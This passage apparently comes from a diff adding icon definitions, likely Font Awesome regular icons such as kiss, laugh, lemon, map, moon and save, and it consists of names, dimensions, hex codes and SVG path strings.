48-48V112c0-26.51-21.49-48-48-48zm8 336c0 4.411-3.589 8-8 8H48c-4.411 0-8-3.589-8-8V112c0-4.411 3.589-8 8-8h480c4.411 0 8 3.589 8 8v288zM170 270v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm-336 82v-28c0-6.627-5.373-12-12-12H82c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm384 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zM122 188v-28c0-6.627-5.373-12-12-12H82c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm-98 158v-16c0-6.627-5.373-12-12-12H180c-6.627 0-12 5.373-12 12v16c0 6.627 5.373 12 12 12h216c6.627 0 12-5.373 12-12z" ], + kiss: [ 496, 512, [], "f596", "M168 176c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm136 132c0-19.2-28.8-41.5-71.5-44-3.8-.4-7.4 2.4-8.2 6.2-.9 3.8 1.1 7.7 4.7 9.2l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-5.7 2.4-6 12.2 0 14.8l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-3.6 1.5-5.6 5.4-4.7 9.2.8 3.6 4.1 6.2 7.8 6.2h.5c42.8-2.5 71.5-24.8 71.5-44 0-13-13.4-27.3-35.2-36C290.6 335.3 304 321 304 308zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm80-280c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z" ], + "kiss-beam": [ 496, 512, [], "f597", "M168 152c-23.8 0-52.7 29.3-56 71.4-.3 3.7 2 7.2 5.6 8.3 3.5 1 7.5-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 5.9-4.5 5.6-8.3-3.1-42.1-32-71.4-55.8-71.4zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm56-148c0-19.2-28.8-41.5-71.5-44-3.8-.4-7.4 2.4-8.2 6.2-.9 3.8 1.1 7.7 4.7 9.2l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-5.7 2.4-6 12.2 0 14.8l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-3.6 1.5-5.6 5.4-4.7 9.2.8 3.6 4.1 6.2 7.8 6.2h.5c42.8-2.5 71.5-24.8 71.5-44 0-13-13.4-27.3-35.2-36C290.6 335.3 304 321 304 308zm24-156c-23.8 0-52.7 29.3-56 71.4-.3 3.7 2 7.2 5.6 8.3 3.5 1 7.5-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 5.9-4.5 5.6-8.3-3.1-42.1-32-71.4-55.8-71.4z" ], + "kiss-wink-heart": [ 504, 512, [], "f598", "M304 308.5c0-19.2-28.8-41.5-71.5-44-3.8-.4-7.4 2.4-8.2 6.2-.9 3.8 1.1 7.7 4.7 9.2l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-5.7 2.4-6 12.2 0 14.8l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-3.6 1.5-5.6 5.4-4.7 9.2.8 3.6 4.1 6.2 7.8 6.2h.5c42.8-2.5 71.5-24.8 71.5-44 0-13-13.4-27.3-35.2-36 21.7-9.1 35.1-23.4 35.1-36.4zm70.5-83.5l9.5 8.5c3.8 3.3 9.3 4 13.7 1.6 4.4-2.4 6.9-7.4 6.1-12.4-4-25.2-34.2-42.1-59.8-42.1s-55.9 16.9-59.8 42.1c-.8 5 1.7 10 6.1 12.4 5.8 3.1 11.2.7 13.7-1.6l9.5-8.5c14.8-13.2 46.2-13.2 61 0zM136 208.5c0 17.7 14.3 32 32 32s32-14.3 32-32-14.3-32-32-32-32 14.3-32 32zm365.1 194c-8-20.8-31.5-31.5-53.1-25.9l-8.4 2.2-2.3-8.4c-5.9-21.4-27-36.5-49-33-25.2 4-40.6 28.6-34 52.6l22.9 82.6c1.5 5.3 7 8.5 12.4 7.1l83-21.5c24.1-6.3 37.7-31.8 28.5-55.7zM334 436.3c-26.1 12.5-55.2 19.7-86 19.7-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200c0 22.1-3.7 43.3-10.4 63.2 9 6.4 17 14.2 22.6 23.9 6.4.1 12.6 1.4 18.6 2.9 10.9-27.9 17.1-58.2 17.1-90C496 119 385 8 248 8S0 119 0 256s111 248 248 248c35.4 0 68.9-7.5 99.4-20.9-2.5-7.3 4.3 17.2-13.4-46.8z" ], + laugh: [ 496, 512, [], "f599", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm141.4 389.4c-37.8 37.8-88 58.6-141.4 58.6s-103.6-20.8-141.4-58.6S48 309.4 48 256s20.8-103.6 58.6-141.4S194.6 56 248 56s103.6 20.8 141.4 58.6S448 202.6 448 256s-20.8 103.6-58.6 141.4zM328 224c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm-160 0c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm194.4 64H133.6c-8.2 0-14.5 7-13.5 15 7.5 59.2 58.9 105 121.1 105h13.6c62.2 0 113.6-45.8 121.1-105 1-8-5.3-15-13.5-15z" ], + "laugh-beam": [ 496, 512, [], "f59a", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm141.4 389.4c-37.8 37.8-88 58.6-141.4 58.6s-103.6-20.8-141.4-58.6S48 309.4 48 256s20.8-103.6 58.6-141.4S194.6 56 248 56s103.6 20.8 141.4 58.6S448 202.6 448 256s-20.8 103.6-58.6 141.4zM328 152c-23.8 0-52.7 29.3-56 71.4-.7 8.6 10.8 11.9 14.9 4.5l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c4.1 7.4 15.6 4 14.9-4.5-3.1-42.1-32-71.4-55.8-71.4zm-201 75.9l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c4.1 7.4 15.6 4 14.9-4.5-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.6 8.5 10.9 11.9 15.1 4.5zM362.4 288H133.6c-8.2 0-14.5 7-13.5 15 7.5 59.2 58.9 105 121.1 105h13.6c62.2 0 113.6-45.8 121.1-105 1-8-5.3-15-13.5-15z" ], + "laugh-squint": [ 496, 512, [], "f59b", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm141.4 389.4c-37.8 37.8-88 58.6-141.4 58.6s-103.6-20.8-141.4-58.6S48 309.4 48 256s20.8-103.6 58.6-141.4S194.6 56 248 56s103.6 20.8 141.4 58.6S448 202.6 448 256s-20.8 103.6-58.6 141.4zM343.6 196l33.6-40.3c8.6-10.3-3.8-24.8-15.4-18l-80 48c-7.8 4.7-7.8 15.9 0 20.6l80 48c11.5 6.8 24-7.6 15.4-18L343.6 196zm-209.4 58.3l80-48c7.8-4.7 7.8-15.9 0-20.6l-80-48c-11.6-6.9-24 7.7-15.4 18l33.6 40.3-33.6 40.3c-8.7 10.4 3.8 24.8 15.4 18zM362.4 288H133.6c-8.2 0-14.5 7-13.5 15 7.5 59.2 58.9 105 121.1 105h13.6c62.2 0 113.6-45.8 121.1-105 1-8-5.3-15-13.5-15z" ], + "laugh-wink": [ 496, 512, [], "f59c", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm141.4 389.4c-37.8 37.8-88 58.6-141.4 58.6s-103.6-20.8-141.4-58.6C68.8 359.6 48 309.4 48 256s20.8-103.6 58.6-141.4C144.4 76.8 194.6 56 248 56s103.6 20.8 141.4 58.6c37.8 37.8 58.6 88 58.6 141.4s-20.8 103.6-58.6 141.4zM328 164c-25.7 0-55.9 16.9-59.9 42.1-1.7 11.2 11.5 18.2 19.8 10.8l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c8.5 7.4 21.6.3 19.8-10.8-3.8-25.2-34-42.1-59.7-42.1zm-160 60c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm194.4 64H133.6c-8.2 0-14.5 7-13.5 15 7.5 59.2 58.9 105 121.1 105h13.6c62.2 0 113.6-45.8 121.1-105 1-8-5.3-15-13.5-15z" ], + lemon: [ 512, 512, [], "f094", "M484.112 27.889C455.989-.233 416.108-8.057 387.059 8.865 347.604 31.848 223.504-41.111 91.196 91.197-41.277 223.672 31.923 347.472 8.866 387.058c-16.922 29.051-9.1 68.932 19.022 97.054 28.135 28.135 68.011 35.938 97.057 19.021 39.423-22.97 163.557 49.969 295.858-82.329 132.474-132.477 59.273-256.277 82.331-295.861 16.922-29.05 9.1-68.931-19.022-97.054zm-22.405 72.894c-38.8 66.609 45.6 165.635-74.845 286.08-120.44 120.443-219.475 36.048-286.076 74.843-22.679 13.207-64.035-27.241-50.493-50.488 38.8-66.609-45.6-165.635 74.845-286.08C245.573 4.702 344.616 89.086 411.219 50.292c22.73-13.24 64.005 27.288 50.488 50.491zm-169.861 8.736c1.37 10.96-6.404 20.957-17.365 22.327-54.846 6.855-135.779 87.787-142.635 142.635-1.373 10.989-11.399 18.734-22.326 17.365-10.961-1.37-18.735-11.366-17.365-22.326 9.162-73.286 104.167-168.215 177.365-177.365 10.953-1.368 20.956 6.403 22.326 17.364z" ], + "life-ring": [ 512, 512, [], "f1cd", "M256 504c136.967 0 248-111.033 248-248S392.967 8 256 8 8 119.033 8 256s111.033 248 248 248zm-103.398-76.72l53.411-53.411c31.806 13.506 68.128 13.522 99.974 0l53.411 53.411c-63.217 38.319-143.579 38.319-206.796 0zM336 256c0 44.112-35.888 80-80 80s-80-35.888-80-80 35.888-80 80-80 80 35.888 80 80zm91.28 103.398l-53.411-53.411c13.505-31.806 13.522-68.128 0-99.974l53.411-53.411c38.319 63.217 38.319 143.579 0 206.796zM359.397 84.72l-53.411 53.411c-31.806-13.505-68.128-13.522-99.973 0L152.602 84.72c63.217-38.319 143.579-38.319 206.795 0zM84.72 152.602l53.411 53.411c-13.506 31.806-13.522 68.128 0 99.974L84.72 359.398c-38.319-63.217-38.319-143.579 0-206.796z" ], + lightbulb: [ 352, 512, [], "f0eb", "M176 80c-52.94 0-96 43.06-96 96 0 8.84 7.16 16 16 16s16-7.16 16-16c0-35.3 28.72-64 64-64 8.84 0 16-7.16 16-16s-7.16-16-16-16zM96.06 459.17c0 3.15.93 6.22 2.68 8.84l24.51 36.84c2.97 4.46 7.97 7.14 13.32 7.14h78.85c5.36 0 10.36-2.68 13.32-7.14l24.51-36.84c1.74-2.62 2.67-5.7 2.68-8.84l.05-43.18H96.02l.04 43.18zM176 0C73.72 0 0 82.97 0 176c0 44.37 16.45 84.85 43.56 115.78 16.64 18.99 42.74 58.8 52.42 92.16v.06h48v-.12c-.01-4.77-.72-9.51-2.15-14.07-5.59-17.81-22.82-64.77-62.17-109.67-20.54-23.43-31.52-53.15-31.61-84.14-.2-73.64 59.67-128 127.95-128 70.58 0 128 57.42 128 128 0 30.97-11.24 60.85-31.65 84.14-39.11 44.61-56.42 91.47-62.1 109.46a47.507 47.507 0 0 0-2.22 14.3v.1h48v-.05c9.68-33.37 35.78-73.18 52.42-92.16C335.55 260.85 352 220.37 352 176 352 78.8 273.2 0 176 0z" ], + "list-alt": [ 512, 512, [], "f022", "M464 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zm-6 400H54a6 6 0 0 1-6-6V86a6 6 0 0 1 6-6h404a6 6 0 0 1 6 6v340a6 6 0 0 1-6 6zm-42-92v24c0 6.627-5.373 12-12 12H204c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h200c6.627 0 12 5.373 12 12zm0-96v24c0 6.627-5.373 12-12 12H204c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h200c6.627 0 12 5.373 12 12zm0-96v24c0 6.627-5.373 12-12 12H204c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h200c6.627 0 12 5.373 12 12zm-252 12c0 19.882-16.118 36-36 36s-36-16.118-36-36 16.118-36 36-36 36 16.118 36 36zm0 96c0 19.882-16.118 36-36 36s-36-16.118-36-36 16.118-36 36-36 36 16.118 36 36zm0 96c0 19.882-16.118 36-36 36s-36-16.118-36-36 16.118-36 36-36 36 16.118 36 36z" ], + map: [ 576, 512, [], "f279", "M560.02 32c-1.96 0-3.98.37-5.96 1.16L384.01 96H384L212 35.28A64.252 64.252 0 0 0 191.76 32c-6.69 0-13.37 1.05-19.81 3.14L20.12 87.95A32.006 32.006 0 0 0 0 117.66v346.32C0 473.17 7.53 480 15.99 480c1.96 0 3.97-.37 5.96-1.16L192 416l172 60.71a63.98 63.98 0 0 0 40.05.15l151.83-52.81A31.996 31.996 0 0 0 576 394.34V48.02c0-9.19-7.53-16.02-15.98-16.02zM224 90.42l128 45.19v285.97l-128-45.19V90.42zM48 418.05V129.07l128-44.53v286.2l-.64.23L48 418.05zm480-35.13l-128 44.53V141.26l.64-.24L528 93.95v288.97z" ], + meh: [ 496, 512, [], "f11a", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160-64c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm8 144H160c-13.2 0-24 10.8-24 24s10.8 24 24 24h176c13.2 0 24-10.8 24-24s-10.8-24-24-24z" ], + "meh-blank": [ 496, 512, [], "f5a4", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-280c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm160 0c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z" ], + "meh-rolling-eyes": [ 496, 512, [], "f5a5", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm88-304c-39.8 0-72 32.2-72 72s32.2 72 72 72 72-32.2 72-72-32.2-72-72-72zm0 112c-22.1 0-40-17.9-40-40 0-13.6 7.3-25.1 17.7-32.3-1 2.6-1.7 5.3-1.7 8.3 0 13.3 10.7 24 24 24s24-10.7 24-24c0-2.9-.7-5.7-1.7-8.3 10.4 7.2 17.7 18.7 17.7 32.3 0 22.1-17.9 40-40 40zm-104-40c0-39.8-32.2-72-72-72s-72 32.2-72 72 32.2 72 72 72 72-32.2 72-72zm-112 0c0-13.6 7.3-25.1 17.7-32.3-1 2.6-1.7 5.3-1.7 8.3 0 13.3 10.7 24 24 24s24-10.7 24-24c0-2.9-.7-5.7-1.7-8.3 10.4 7.2 17.7 18.7 17.7 32.3 0 22.1-17.9 40-40 40s-40-17.9-40-40zm192 128H184c-13.2 0-24 10.8-24 24s10.8 24 24 24h128c13.2 0 24-10.8 24-24s-10.8-24-24-24z" ], + "minus-square": [ 448, 512, [], "f146", "M108 284c-6.6 0-12-5.4-12-12v-32c0-6.6 5.4-12 12-12h232c6.6 0 12 5.4 12 12v32c0 6.6-5.4 12-12 12H108zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z" ], + "money-bill-alt": [ 640, 512, [], "f3d1", "M320 144c-53.02 0-96 50.14-96 112 0 61.85 42.98 112 96 112 53 0 96-50.13 96-112 0-61.86-42.98-112-96-112zm40 168c0 4.42-3.58 8-8 8h-64c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h16v-55.44l-.47.31a7.992 7.992 0 0 1-11.09-2.22l-8.88-13.31a7.992 7.992 0 0 1 2.22-11.09l15.33-10.22a23.99 23.99 0 0 1 13.31-4.03H328c4.42 0 8 3.58 8 8v88h16c4.42 0 8 3.58 8 8v16zM608 64H32C14.33 64 0 78.33 0 96v320c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V96c0-17.67-14.33-32-32-32zm-16 272c-35.35 0-64 28.65-64 64H112c0-35.35-28.65-64-64-64V176c35.35 0 64-28.65 64-64h416c0 35.35 28.65 64 64 64v160z" ], + moon: [ 512, 512, [], "f186", "M279.135 512c78.756 0 150.982-35.804 198.844-94.775 28.27-34.831-2.558-85.722-46.249-77.401-82.348 15.683-158.272-47.268-158.272-130.792 0-48.424 26.06-92.292 67.434-115.836 38.745-22.05 28.999-80.788-15.022-88.919A257.936 257.936 0 0 0 279.135 0c-141.36 0-256 114.575-256 256 0 141.36 114.576 256 256 256zm0-464c12.985 0 25.689 1.201 38.016 3.478-54.76 31.163-91.693 90.042-91.693 157.554 0 113.848 103.641 199.2 215.252 177.944C402.574 433.964 344.366 464 279.135 464c-114.875 0-208-93.125-208-208s93.125-208 208-208z" ], + newspaper: [ 576, 512, [], "f1ea", "M552 64H112c-20.858 0-38.643 13.377-45.248 32H24c-13.255 0-24 10.745-24 24v272c0 30.928 25.072 56 56 56h496c13.255 0 24-10.745 24-24V88c0-13.255-10.745-24-24-24zM48 392V144h16v248c0 4.411-3.589 8-8 8s-8-3.589-8-8zm480 8H111.422c.374-2.614.578-5.283.578-8V112h416v288zM172 280h136c6.627 0 12-5.373 12-12v-96c0-6.627-5.373-12-12-12H172c-6.627 0-12 5.373-12 12v96c0 6.627 5.373 12 12 12zm28-80h80v40h-80v-40zm-40 140v-24c0-6.627 5.373-12 12-12h136c6.627 0 12 5.373 12 12v24c0 6.627-5.373 12-12 12H172c-6.627 0-12-5.373-12-12zm192 0v-24c0-6.627 5.373-12 12-12h104c6.627 0 12 5.373 12 12v24c0 6.627-5.373 12-12 12H364c-6.627 0-12-5.373-12-12zm0-144v-24c0-6.627 5.373-12 12-12h104c6.627 0 12 5.373 12 12v24c0 6.627-5.373 12-12 12H364c-6.627 0-12-5.373-12-12zm0 72v-24c0-6.627 5.373-12 12-12h104c6.627 0 12 5.373 12 12v24c0 6.627-5.373 12-12 12H364c-6.627 0-12-5.373-12-12z" ], + "object-group": [ 512, 512, [], "f247", "M500 128c6.627 0 12-5.373 12-12V44c0-6.627-5.373-12-12-12h-72c-6.627 0-12 5.373-12 12v12H96V44c0-6.627-5.373-12-12-12H12C5.373 32 0 37.373 0 44v72c0 6.627 5.373 12 12 12h12v256H12c-6.627 0-12 5.373-12 12v72c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-12h320v12c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-72c0-6.627-5.373-12-12-12h-12V128h12zm-52-64h32v32h-32V64zM32 64h32v32H32V64zm32 384H32v-32h32v32zm416 0h-32v-32h32v32zm-40-64h-12c-6.627 0-12 5.373-12 12v12H96v-12c0-6.627-5.373-12-12-12H72V128h12c6.627 0 12-5.373 12-12v-12h320v12c0 6.627 5.373 12 12 12h12v256zm-36-192h-84v-52c0-6.628-5.373-12-12-12H108c-6.627 0-12 5.372-12 12v168c0 6.628 5.373 12 12 12h84v52c0 6.628 5.373 12 12 12h200c6.627 0 12-5.372 12-12V204c0-6.628-5.373-12-12-12zm-268-24h144v112H136V168zm240 176H232v-24h76c6.627 0 12-5.372 12-12v-76h56v112z" ], + "object-ungroup": [ 576, 512, [], "f248", "M564 224c6.627 0 12-5.373 12-12v-72c0-6.627-5.373-12-12-12h-72c-6.627 0-12 5.373-12 12v12h-88v-24h12c6.627 0 12-5.373 12-12V44c0-6.627-5.373-12-12-12h-72c-6.627 0-12 5.373-12 12v12H96V44c0-6.627-5.373-12-12-12H12C5.373 32 0 37.373 0 44v72c0 6.627 5.373 12 12 12h12v160H12c-6.627 0-12 5.373-12 12v72c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-12h88v24h-12c-6.627 0-12 5.373-12 12v72c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-12h224v12c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-72c0-6.627-5.373-12-12-12h-12V224h12zM352 64h32v32h-32V64zm0 256h32v32h-32v-32zM64 352H32v-32h32v32zm0-256H32V64h32v32zm32 216v-12c0-6.627-5.373-12-12-12H72V128h12c6.627 0 12-5.373 12-12v-12h224v12c0 6.627 5.373 12 12 12h12v160h-12c-6.627 0-12 5.373-12 12v12H96zm128 136h-32v-32h32v32zm280-64h-12c-6.627 0-12 5.373-12 12v12H256v-12c0-6.627-5.373-12-12-12h-12v-24h88v12c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-72c0-6.627-5.373-12-12-12h-12v-88h88v12c0 6.627 5.373 12 12 12h12v160zm40 64h-32v-32h32v32zm0-256h-32v-32h32v32z" ], + "paper-plane": [ 512, 512, [], "f1d8", "M440 6.5L24 246.4c-34.4 19.9-31.1 70.8 5.7 85.9L144 379.6V464c0 46.4 59.2 65.5 86.6 28.6l43.8-59.1 111.9 46.2c5.9 2.4 12.1 3.6 18.3 3.6 8.2 0 16.3-2.1 23.6-6.2 12.8-7.2 21.6-20 23.9-34.5l59.4-387.2c6.1-40.1-36.9-68.8-71.5-48.9zM192 464v-64.6l36.6 15.1L192 464zm212.6-28.7l-153.8-63.5L391 169.5c10.7-15.5-9.5-33.5-23.7-21.2L155.8 332.6 48 288 464 48l-59.4 387.3z" ], + "pause-circle": [ 512, 512, [], "f28b", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200zm96-280v160c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16zm-112 0v160c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16z" ], + "play-circle": [ 512, 512, [], "f144", "M371.7 238l-176-107c-15.8-8.8-35.7 2.5-35.7 21v208c0 18.4 19.8 29.8 35.7 21l176-101c16.4-9.1 16.4-32.8 0-42zM504 256C504 119 393 8 256 8S8 119 8 256s111 248 248 248 248-111 248-248zm-448 0c0-110.5 89.5-200 200-200s200 89.5 200 200-89.5 200-200 200S56 366.5 56 256z" ], + "plus-square": [ 448, 512, [], "f0fe", "M352 240v32c0 6.6-5.4 12-12 12h-88v88c0 6.6-5.4 12-12 12h-32c-6.6 0-12-5.4-12-12v-88h-88c-6.6 0-12-5.4-12-12v-32c0-6.6 5.4-12 12-12h88v-88c0-6.6 5.4-12 12-12h32c6.6 0 12 5.4 12 12v88h88c6.6 0 12 5.4 12 12zm96-160v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z" ], + "question-circle": [ 512, 512, [], "f059", "M256 8C119.043 8 8 119.083 8 256c0 136.997 111.043 248 248 248s248-111.003 248-248C504 119.083 392.957 8 256 8zm0 448c-110.532 0-200-89.431-200-200 0-110.495 89.472-200 200-200 110.491 0 200 89.471 200 200 0 110.53-89.431 200-200 200zm107.244-255.2c0 67.052-72.421 68.084-72.421 92.863V300c0 6.627-5.373 12-12 12h-45.647c-6.627 0-12-5.373-12-12v-8.659c0-35.745 27.1-50.034 47.579-61.516 17.561-9.845 28.324-16.541 28.324-29.579 0-17.246-21.999-28.693-39.784-28.693-23.189 0-33.894 10.977-48.942 29.969-4.057 5.12-11.46 6.071-16.666 2.124l-27.824-21.098c-5.107-3.872-6.251-11.066-2.644-16.363C184.846 131.491 214.94 112 261.794 112c49.071 0 101.45 38.304 101.45 88.8zM298 368c0 23.159-18.841 42-42 42s-42-18.841-42-42 18.841-42 42-42 42 18.841 42 42z" ], + registered: [ 512, 512, [], "f25d", "M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 448c-110.532 0-200-89.451-200-200 0-110.531 89.451-200 200-200 110.532 0 200 89.451 200 200 0 110.532-89.451 200-200 200zm110.442-81.791c-53.046-96.284-50.25-91.468-53.271-96.085 24.267-13.879 39.482-41.563 39.482-73.176 0-52.503-30.247-85.252-101.498-85.252h-78.667c-6.617 0-12 5.383-12 12V380c0 6.617 5.383 12 12 12h38.568c6.617 0 12-5.383 12-12v-83.663h31.958l47.515 89.303a11.98 11.98 0 0 0 10.593 6.36h42.81c9.14 0 14.914-9.799 10.51-17.791zM256.933 239.906h-33.875v-64.14h27.377c32.417 0 38.929 12.133 38.929 31.709-.001 20.913-11.518 32.431-32.431 32.431z" ], + "sad-cry": [ 496, 512, [], "f5b3", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm144 386.4V280c0-13.2-10.8-24-24-24s-24 10.8-24 24v151.4C315.5 447 282.8 456 248 456s-67.5-9-96-24.6V280c0-13.2-10.8-24-24-24s-24 10.8-24 24v114.4c-34.6-36-56-84.7-56-138.4 0-110.3 89.7-200 200-200s200 89.7 200 200c0 53.7-21.4 102.5-56 138.4zM205.8 234.5c4.4-2.4 6.9-7.4 6.1-12.4-4-25.2-34.2-42.1-59.8-42.1s-55.9 16.9-59.8 42.1c-.8 5 1.7 10 6.1 12.4 4.4 2.4 9.9 1.8 13.7-1.6l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c2.5 2.3 7.9 4.8 13.7 1.6zM344 180c-25.7 0-55.9 16.9-59.8 42.1-.8 5 1.7 10 6.1 12.4 4.5 2.4 9.9 1.8 13.7-1.6l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c2.5 2.2 8 4.7 13.7 1.6 4.4-2.4 6.9-7.4 6.1-12.4-3.9-25.2-34.1-42.1-59.8-42.1zm-96 92c-30.9 0-56 28.7-56 64s25.1 64 56 64 56-28.7 56-64-25.1-64-56-64z" ], + "sad-tear": [ 496, 512, [], "f5b4", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm8-152c-13.2 0-24 10.8-24 24s10.8 24 24 24c23.8 0 46.3 10.5 61.6 28.8 8.1 9.8 23.2 11.9 33.8 3.1 10.2-8.5 11.6-23.6 3.1-33.8C330 320.8 294.1 304 256 304zm-88-64c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160-64c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm-165.6 98.8C151 290.1 126 325.4 126 342.9c0 22.7 18.8 41.1 42 41.1s42-18.4 42-41.1c0-17.5-25-52.8-36.4-68.1-2.8-3.7-8.4-3.7-11.2 0z" ], + save: [ 448, 512, [], "f0c7", "M433.941 129.941l-83.882-83.882A48 48 0 0 0 316.118 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 